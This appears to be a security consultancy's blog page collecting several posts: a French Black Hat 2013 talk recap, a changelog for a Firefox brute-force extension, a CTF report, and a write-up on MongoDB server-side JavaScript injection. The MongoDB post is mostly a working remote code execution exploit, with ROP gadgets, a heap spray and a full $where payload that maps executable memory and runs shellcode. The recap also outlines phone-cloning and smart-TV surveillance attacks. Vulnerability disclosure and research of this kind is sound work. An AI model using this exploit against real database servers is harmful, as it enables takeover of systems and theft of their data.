Neo4j – “Enter the GraphDB”

Following interest for NoSQL (see MongoDB exploit :D), this time I wanted to check Neo4j, the famous Graph Database. As you can see on their blog http://blog.neo4j.org/, Neo4j is really active and updates come really often ! The v1 was released in 2010 and v2 in 2013 and I didn’t find any specific paper about security so it may be interesting… Don’t hesitate to correct me if I say something wrong ! Continue reading Neo4j – “Enter the GraphDB”

Black Hat USA 2013

Nous voici au Cesar’s Palace de Las Vagas pour le très “corporate” Black Hat. Voici ce que nous avons retenu :

Jour 1

Methodologies of hacking embedded security appliances

Rob Bathrust, Mark Carey

Ce workshop de deux heures trente a présenté une introduction au hacking hardware.

En présentant tout d’abord les outils de base permettant de s’initier à ce nouvel horizon de recherche : Multimètre, outils de soudure, interfaces JTAG et Bus Pirate.
Une des premières difficultés rencontrées lorsque l’on cherche à analyser un périphérique hardware est de supprimer les couches de résine epoxy souvent ajoutées par les constructeurs afin de protéger leurs circuits. Plusieurs méthodes ont été présentées par les auteurs, comme la surchauffe de la résine afin de la décoller du PCB. Malheureusement, cette méthode est très souvent dommageable pour le circuit en lui-même et permet rarement de retrouver un circuit nu et fonctionnel. Une autre méthode plus efficace et toutefois plus dangereuse est d’utiliser divers produits chimiques permettant de dissoudre la résine et ainsi conserver le circuit intact.

Une autre méthode présentée par les conférenciers pour récupérer des informations sur le circuit et d’utiliser le FCC ID, présent sur la quasi-totalité des équipements vendus de nos jours. Muni de ce numéro, il est possible de récupérer la documentation envoyée au FCC par le constructeur, qui contient presque toutes les informations utiles sur le circuit : composants utilisés, éclatés des circuits, placement, … une vraie mine d’or pour obtenir des informations préalables à un démontage de l’appareil !

I can hear you now : Traffic interception and remote mobile phone cloning using a compromised CDMA femtocell

Tom Ritter, Doug DePerry, Andrew Rahimi

Ce talk parle en particulier des femtocells, ces boîtiers fournis par
certains opérateurs de téléphonie mobile permettant d’améliorer la couverture du réseau dans une zone isolée.
En utilisant le port HDMI (???) présent sur le boîtier analysé, les auteurs ont pu obtenir un shell série sur le boîtier et finalement un shell root en modifiant la commande du bootloader. Une fois l’accès root obtenu, il a été possible de lancer les daemons de la femtocell et ainsi avoir un accès complet sur le boîtier alors que celui-ci fonctionne.

Dans un premier temps, il n’a pas été possible de sniffer directement les
paquets transitant de la femtocell vers le réseau de l’opérateur : le VPN
utilisé est un module du noyau Linux qui extrait les paquets de netfilter pour les chiffrer et les envoyer dans le tunnel. Les auteurs ont alors du créer un module noyau qui se place entre netfilter et le module VPN pour intercepter les données. Démonstrations à l’appui, il est dès lors possible d’intercepter les communications vocales échangées au travers de cette femtocell, de récupérer les SMS en clair ainsi que les données échangées sur le réseau mobile.

Petite anecdote : lorsque vous passez un appel avec votre téléphone,
tout ce que vous dites avant et pendant les tonalités d’attente sont transmises sur le réseau…

La suite de ce talk s’est révélée tout aussi passionnante, les conferenciers ont poussé leurs recherches jusqu’a cloner un téléphone afin de voir s’il est
possible d’agir comme dans les films. Résultats : Il n’est pas possible pour
l’heure de cloner un téléphone et de l’utiliser sur une antenne classique car une clé de chiffrement échangée par le téléphone et l’antenne n’est pas connue. Les femtocells, en revanche, ne nécessitent pas cette authentification mais se basent sur deux informations qui sont envoyées par le téléphone lors de son arrivée sur la femtocell. En utilisant un téléphone reprogrammable, il est dès lors possible de cloner un téléphone qui s’est connecté sur une femtocell et ainsi de l’utiliser, mais uniquement sur une femtocell. Modifiée ou non.
Démonstrations à l’appui toujours, un téléphone et son clone, lorsqu’ils sont sur la même femtocell, reçoivent bien les appels en même temps, reçoivent bien les SMS en même temps et peuvent bien tous deux envoyer des appels et SMS. Impressionnant.

Pass the hash and other credential theft and reuse : Mitigating the risk of lateral movement and privilege escalation

Mark Simos, Patrick Jungles

Une conférence présentée par Microsoft sur les attaques Pass The Hash et le dump de credentials depuis la mémoire avec l’outil Mimikatz.

Ils ont rappelé les trois méthodes de mitigation de PTH disponible dans le white paper de microsoft. En résumé, ils préconisent de restreindre l’utilisation de comptes privilégiés, de firewaller les machines ou de désactiver le service “Server”. On sera d’accord qu’il est difficile d’appliquer ces techniques dans un réseau de production…

Néanmoins, ils ont fait des efforts afin d’améliorer la sécurité dans Windows 2012 R2 et Windows 8.1 au niveau du stockage de mot de passe dans lsass. Globallement, il ne sera plus possible d’extraire le mot de passe en clair ni le hash LM. Enfin, lorsque tout le monde aura migré sur ces nouvelles versions de système. Sachant que l’on rencontre encore régulièrement des failles MS08-067 non patchées lors de pentest, l’outil Mimikatz a encore de beaux jours devant lui.

How to grow a TREE (Taint-enabled Reverse Engineering Environment) from CBASS (Cross-platform Binary Automated Symbolic-execution System)

Nathan Li, Log Nguyen, Xing Li, James Just

Le but de cet outil est de fournir un framework de data taint analysis dynamique supportant n’importe quel processeur. Le framework s’intègre en tant que plugin pour IDA pro.
Une analyse statique est nécessaire pour identifier le premier point d’entrée utilisateur et le définir dans ida. L’outil génère ainsi une trace d’exécution et identifie le code qui va traiter ces données utilisateur. Cela permet de simplifier considérablement le temps pris par une analyse statique complète, en affichant un flux d’exécution simplifié portant uniquement sur les instructions modifiant ces données.

Une autre fonctionalité de ce framework permet via une analyse par exécution symbolique d’identifier quelles valeurs de données permettent de changer le flux d’exécution.

L’outil semble très prometteur pour la recherche de vulnérabilité et est disponible sur googlecode: http://code.google.com/p/tree-cbass/.

Pwnie awards

Cette année encore, la cérémonie des Pwnie Awards récompensait le meilleur comme le pire de la sécurité informatique. On pourra noter la récompense attribuée au magasine Hackin9 pour avoir publié un article (http://seclists.org/nmap-dev/2012/q3/1050) fabriqué de toute pièce sur le DARPA Inference Checking Kludge Scanning (DICKS), article rédigé d’ailleurs par de nombreuses personnes présentes lors de la cérémonie. Une petite déception tout de même pour le pwnie Epic Ownage, attribué cette année à Edward Snowden. A mon avis et n’en déplaise à certains, Malware.lu aurait bien plus mérité cette récompense pour leur prise de contrôle complet des serveurs C&C du botnet APT1. Il semble plus que ce pwnie ait été attribué pour troller la NSA que pour récompenser le “travail” de Snowden. Je trouve dommage que le pwnie soit attribué à une “balance” plutôt qu’à un vrai travail de recherche technique.

Jour 2

Funderbolt : Adventures in thunderbolt DMA attacks

Russ Sevinsky

Comme pour le firewire, les ports d’extension thunderbolt permettent un accès direct à la mémoire (DMA). Il est donc possible de lire et d’écrire directement en mémoire pour par exemple passer outre l’authentification de windows ou faire un dump complet de la mémoire dans des cas d’analyse forensics.

Les attaques existante sur le firewire ont déjà été réalisée grâce à des adaptateur thunderbolt to firewire mais cette présentation se focalisait sur l’attaque directe de ces nouveaux ports. Les ports thunderbolt sont en fait des extensions du bus PCIe. Le présentateur a commencé par une revue rapide de PCIe et le fait que seuls les device s’annonçant comme Legacy avait accès à la DMA.

L’auteur n’a malheureusement pas réussi à terminer son projet d’attaque DMA directe mais à priori, cela ne saurait tarder.

JTAGulator : Assisted discovery of On-Chip debug interfaces

Joe Grand

Joe “Kingpin” Grand nous présente ici son nouveau projet : le JTAGulator.

Cet outil open source basé sur un processeur Parallax permet de détecter et de s’interfacer avec un port JTAG sans connaître par avance où ce dernier se trouve. Cet outil se révèle très pratique pour découvrir ou se trouve l’interface de debug JTAG d’un périphérique ou découvrir l’interface série ainsi que son mode de fonctionnement (vitesse, utilisation de la parité, …)

La première partie de ce workshop présente en détails les composants utilisés par Kingpin pour développer cet outil ainsi que les techniques utilisées pour protéger l’appareil en cas de mauvaise utilisation, comme la protection contre les hautes tensions.

Par la suite, Joe Grand montre les fonctionnalités du JTAGulator. Son
fonctionnement principal est de découvrir le pinning d’un bus JTAG. En plaçant les sondes sur les points du circuit à tester, le JTAGulator va tester toutes les permutations de ces points afin de découvrir si un bus JTAG est présent et fonctionne. Pour ce faire, l’outil va envoyer en aveugle aux périphériques du bus de passer en mode BYPASS, qui renvoie simplement l’entrée de données sur la sortie, et envoyer des données. Si les données sont reçues, il est probable que les points soient un port JTAG. D’autres types de scan sont également disponibles, comme un scan utilisant la commande IDCODE.

Une utilisation intéressante est le comptage du nombre de périphériques sur un bus JTAG. En forçant tous les périphériques d’un bus en mode BYPASS (en envoyant la commande 0xFF), puis en envoyant une chaine de “1”, puis un “0” sur la ligne de données, il est possible,en comptant le nombre de coups de clock, de déterminer le nombre de chips présents sur le bus. Comme les données envoyées sont décalées d’une période de clock, chaque périphérique ajoute un délai d’une période, et il est ainsi possible de récupérer cette information sans avoir besoin de tracer tout le bus sur le circuit.

Plus d’informations sont disponibles sur le site www.jtagulator.com

Hacking, Surveilling and deceiving victims on Smart TV

SeungJin ‘Beist’ Lee

Les “Smart TV” sont de plus en plus nombreuses (~80 millions dans le monde) et sont présentes non seulement à la maison mais aussi en entreprise. Ces télévisions sont équippées d’un vrai système d’exploitation et fonctione comme des ordinateurs, très proche des des smartphone android. Ces TV possèdent une webcam permettant la reconaissance faciale ou gestuelle pour améliorer l’expérience utilisateur.

La première phase de la recherche de SeungJin ‘Beist’ Lee a été de trouver le moyen d’obtenir un shell interactif sur ces TV, afin d’analyser le système et trouver des vecteurs d’attaques. Beist a pu trouver un ancien firmware non chiffré et a procédé au reverse engineering de celui-ci.

Il en résulte un grand nombre de vulnérabilités, exploitable à distance ou à l’aide d’applications infectée disponible sur un “app store”

Une fois la TV “jailbreakée”, Beist a développé un rootkit permettant de prendre des photos ou des vidéos à l’air de la webcam, permettant une surveillance non détectable par une victime. Le rootkit est aussi capable d’empêcher l’extinction de la TV sans que la vitime s’en aperçoive.

En résumé, un gros travail de reverse engineering et de développement effectué par Beist, qui a remonté ces vulnérabilités aux constructeurs. Maintenant il ne reste plus qu’a implémenter une politique de patching de sa propre TV à la maison…

OptiROP: Hunting for ROP gadget in style

Nguyen Anh Quynh

Cette présentation a démarré sur l’état de l’art du Return Oriented Programming, en prenant bien le soin (20 minutes) de nous faire comprendre que les solutions existantes n’étaient pas satisfaisantes.

Ce nouvel outil permet la recherche de gadget de façon sémantique, permettant par exemple de chercher un gadget qui mette une valeur spécifique dans un registre.

L’approche est très intéressante, car elle est basée sur la traduction du code assembleur vers une représentation intermédiaire LLVM ensuite optimisée et combinée à une résolution SMT (Satisfiability Modulo Theories) pour valider le gadget recherché.
L’outil est aussi capable de trouver et chaîner plusieurs gadgets afin d’arriver au résultat demandé.

Cet outil n’est malheureusement pas encore disponible mais devrait l’être très bientôt (on l’éspère) et supportera les architectures X86 et X86_64 sur les formats Windows PE, Linux ELF et Mach-O.

Conclusions

Trop grand, c’est ce que nous retiendrons de cette édition de Black Hat. Le nombre démesuré de talks en parallèle (Huit !!!) et leur qualité largement inégale font qu’il est très difficile de s’y retrouver, ajoutons-y les événements ayant lieu au milieu de tout cela, comme les “Black Hat arsenal” qui présentent de nouveaux outils ou les événements marketing et nous obtenons une conférence qui semble vouloir “faire du chiffre” plus que de la qualité. Les participants s’y perdent un peu.

A noter également un petit air de salon de l’auto version informatique dans la salle des sponsors, avec des stands tous plus grands et tape-à-l’œil les uns que les autres.

Publication de Fireforce 2.2 (plugin de Brute-force Firefox) / Release of Fireforce 2.2

Sortie de Fireforce 2.2

L’extension est disponible sur notre site web http://www.scrt.ch/attaque/telechargements/fireforce et sur la plateforme de téléchargement de mozilla https://addons.mozilla.org

**********************************************
Change log

Nouveautés

– Compatibilité avec Firefox 22.*
– Générer un range de mot de passe (par exemple : 1000 à 2000)
– Choisir si le texte correspond à une authentification réussie ou échouée

Suppression

– Plus possible de choisir le nombre de requête par seconde (la valeur est de 50 par défaut)

**********************************************

Merci de faire parvenir les problèmes rencontrés ainsi que vos commentaires à l’adresse info@scrt.ch.

 

Release of Fireforce 2.2

The new version of Fireforce is available on our website http://www.scrt.ch/attaque/telechargements/fireforce and on the Mozzila plateform https://addons.mozilla.org

**********************************************

Change log

Add

– Compatible with firefox 22.*
– Generate password in a range (for example : 1000 to 2000)
– choose if the text matches a successfull or failed authentication

Removal

– not possible to choose the number of password per second (the value 50 is set by default)

**********************************************

If you encounter any problems or have any comments, please contact us at:info@scrt.ch.

mongodb – SSJI to RCE

Lucky discovery

Trying some server side javascript injection in mongodb, I wondered if it would be possible to pop a shell.
The run method seems good for this :

> run("uname","-a")
Sun Mar 24 07:09:49 shell: started program uname -a
sh1838| Linux mongo 2.6.32-5-686 #1 SMP Sun Sep 23 09:49:36 UTC 2012 i686 GNU/Linux
0

Unfortunately, this command is only effective in mongo client :

> db.my_collection.find({$where:"run('ls')"})
error: {
 "$err" : "error on invocation of $where function:nJS Error: ReferenceError: run is not defined nofile_a:0",
 "code" : 10071
}

But let’s dig a little bit.

> run
function () {
    return nativeHelper.apply(run_, arguments);
}

So you can run the “run” function directly by calling nativeHelper.apply(run_,[“uname”,”-a”]);
In server side, the result show us that nativeHelper.apply method exists !

> db.my_collection.find({$where:'nativeHelper.apply(run_, ["uname","-a"]);'})
error: {
	"$err" : "error on invocation of $where function:nJS Error: ReferenceError: run_ is not defined nofile_a:0",
	"code" : 10071
}

So what’s run_ ?

So what's "run_"
> run_
{ "x" : 135246144 }

An associative array, can we use it in server side ?

> db.my_collection.find({$where:'nativeHelper.apply({"x":135246144}, ["uname","-a"]);'})
Sun Mar 24 07:15:26 DBClientCursor::init call() failed
Sun Mar 24 07:15:26 query failed : sthack.my_collection { $where: "nativeHelper.apply({"x":135246144}, ["uname","-a"]);" } to: 127.0.0.1:27017
Error: error doing query: failed
Sun Mar 24 07:15:26 trying reconnect to 127.0.0.1:27017
Sun Mar 24 07:15:26 reconnect 127.0.0.1:27017 failed couldn't connect to server 127.0.0.1:27017

The server crashed o/ !

Let’s check the source code :
./src/mongo/scripting/engine_spidermonkey.cpp

JSBool native_helper( JSContext *cx , JSObject *obj , uintN argc, jsval *argv , jsval *rval ) {
        try {
            Convertor c(cx);
            NativeFunction func = reinterpret_cast(
                    static_cast( c.getNumber( obj , "x" ) ) );
            void* data = reinterpret_cast<void*>(
                    static_cast( c.getNumber( obj , "y" ) ) );
            verify( func );

            BSONObj a;
            if ( argc > 0 ) {
                BSONObjBuilder args;
                for ( uintN i = 0; i < argc; ++i ) {
                    c.append( args , args.numStr( i ) , argv[i] );
                }
                a = args.obj();
            }

            BSONObj out;
            try {
                out = func( a, data );
            }
            catch ( std::exception& e ) {

nativeHelper is a crazy feature in spidermonkey missused by mongodb:
the NativeFunction func come from x javascript object and then is called without any check !!!

> db.my_collection.find({$where:'nativeHelper.apply({"x":0x31337}, ["uname","-a"]);'})

Sun Mar 24 07:20:03 Invalid access at address: 0x31337 from thread: conn1
Sun Mar 24 07:20:03 Got signal: 11 (Segmentation fault).

Exploitation

Challenge now is to make a reliable exploit bypassing NX and ASLR (on x86 32bits for the moment).
To achieve this let’s debug it !

The func NativeFunction take 2 arguments : the first one is the arguments array from javascript call in BSONObj format.
The second one is a number from y.

In gdb if we look at eax when the crash occurs [eax]=pointer on our BSONObj

gdb$ x/wx $eax
0xb21ae868:     0x0917a77c
gdb$ x/10s 0x0917a77c
0x917a77c:      "N"
0x917a77e:      ""
0x917a77f:      ""
0x917a780:      "0260"
0x917a783:      "B"
0x917a785:      ""
0x917a786:      ""
0x917a787:      'a' <repeats 65 times>

So we need gadgets to pivot in the [[eax]]+>0xb

0x836e204:   mov    eax,DWORD PTR [eax]
0x836e206:   mov    DWORD PTR [esp+0x4],0x20
0x836e20e:   mov    DWORD PTR [esp],esi
0x836e211:   call   DWORD PTR [eax+0x1c]

This one will dereference eax and then call [eax+0x1c] that we control.
So we can put a second gadget to xchg esp, eax at our arguments+0x11
This gadget must also increment esp to point in our buffer and not in BSONObj structure.

Here is a little problem : arguments is UTF-8 encoded so we have to find gadgets with bytes inferior to 0x7f.
0x08457158 respects it :

0x8457158:   xchg   esp,eax
0x8457159:   xor    BYTE PTR [eax],al
0x845715b:   add    esp,0x4
0x845715e:   pop    ebx
0x845715f:   pop    ebp
0x8457160:   ret

So the ret will fall in arguments+0x01, that’s okay for us, we can put another gadget here.
We need to increment the stack pointer to escape the second gadget at arguments+0x11

0x8351826:   add    esp,0x20
0x8351829:   pop    esi
0x835182a:   pop    edi
0x835182b:   pop    ebp
0x835182c:   ret

Here we go ! Our stack is controlled, but the UTF-8 limitation is really bad, the mmap64@plt is at address 0x816f768 so we can’t use it in arguments. Let’s pivot again.

As we are in javascript environment the same techniques used in browser could be effective !
Sorry but we will heapspray !
The first one with NOP+SHELLCODE and we will mmap it RWX.
The second one with our RETCHAIN+ROPCHAIN that call mmap without UTF-8 limitation.

0x20202020 => RETCHAIN+ROPCHAIN
So we need a gadget to put it in eax then xchg esp, eax again.

0x8055a6c:   pop    eax
0x8055a6d:   adc    dl,0x27
0x8055a70:   ret

then 0x08457158, the same as above will pivot the stack.

Here we go again ! Our stack is controlled without any contraints !
The next part is simple as mmap64 is directly callable via plt.

Return to mmap64@plt : 0x816f768 and stack look like that

0x0c0c0c0c => nop sled where to ret after mmap64
0x0c0c0000 *addr
0x00001000 size
0x00000007 RWX prot
0x00000031 MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS
0xffffffff
0x00000000

Here is the total exploit :

db.my_collection.find({'$where':'shellcode=unescape("METASPLOIT JS GENERATED SHELLCODE"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,(sizechunk-shellcode.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+shellcode; } ropchain=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c%u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000"); sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++){ chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2-ropchain.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+ropchain; } nativeHelper.apply({"x" : 0x836e204}, ["A"+"x26x18x35x08"+"MongoSploit!"+"x58x71x45x08"+"sthack is a nice place to be"+"x6cx5ax05x08"+"x20x20x20x20"+"x58x71x45x08"]);'})

This feature/vulnerability was reported 3 weeks ago to 10gen developers, no patch was commit but the default javascript engine was changed in last version so there is no more nativeHelper.apply function.

A metasploit module is comming soon…

CTF PHDays 2012

Après s’être qualifiés en-ligne (sous le doux pseudo de “0daysober”) pour le CTF des PHDays se déroulant à Moscou, plusieurs ingénieurs SCRT ont réussi à compléter le dernier challenge d’obtention du visa pour partir quelques jours dans la capitale russe.

Arrivés sur place, le trajet en bus jusqu’à l’hôtel se montre plus long que le trajet en avion de Genève à Moscou (4h…). Puis après une première nuit relativement tranquille, c’est le départ pour “Digital October”, lieu de la conférence.

Une fois installés à notre table, on prend connaissance du règlement et  des diverese autres équipes qualifiées, dont les PPP, les leetmore, int3pids ou encore shell-storm que l’on connait bien suite à leur participation à Insomni’hack.

Au niveau du déroulement du CTF, il y a plusieurs choses à noter. Tout d’abord, chaque équipe se verra attribuer un certain nombre de serveurs sur lesquels tournent quelques services qu’il faudra exploiter et défendre. Il y a également un certain nombre d’épreuves bonus distribuées au travers du réseau. Finalement, un King of the Hill est également présent, où les équipes doivent exploiter une faille pour compromettre une application et  ainsi devenir “roi”. Dès lors, cette équipe commence à marquer des points bonus et l’application vulnérable change. L’équipe reste “roi” jusqu’à ce qu’une autre la détrône en exploitant une nouvelle faille.

C’est d’ailleurs en se concentrant sur la partie “King of the Hill” que nous avons décroché la seconde place du concours! Résultat impressionnant lorsque l’on considère que l’équipe n’était formée que de 5 personnes (contre beaucoup plus pour les autres équipes…).

Ce résultat nous vaut quelques goodies intéressant dont un trophée qui s’est montré relativement difficile à ramener dans l’avion…

Les épreuves du CTF étaient intéressante et diversifiées, mais on note juste un problème au niveau du monitoring, ce qui fait que plusieurs équipes ont préféré éteindre leurs services plutôt que de les défendre… Pas très fair-play.

Au final, on note une très bonne organisation de la conférence avec plein de tournois annexes, dont le fameux “Too drunk to hack” dans lequel un de nos ingénieurs finira en deuxième position.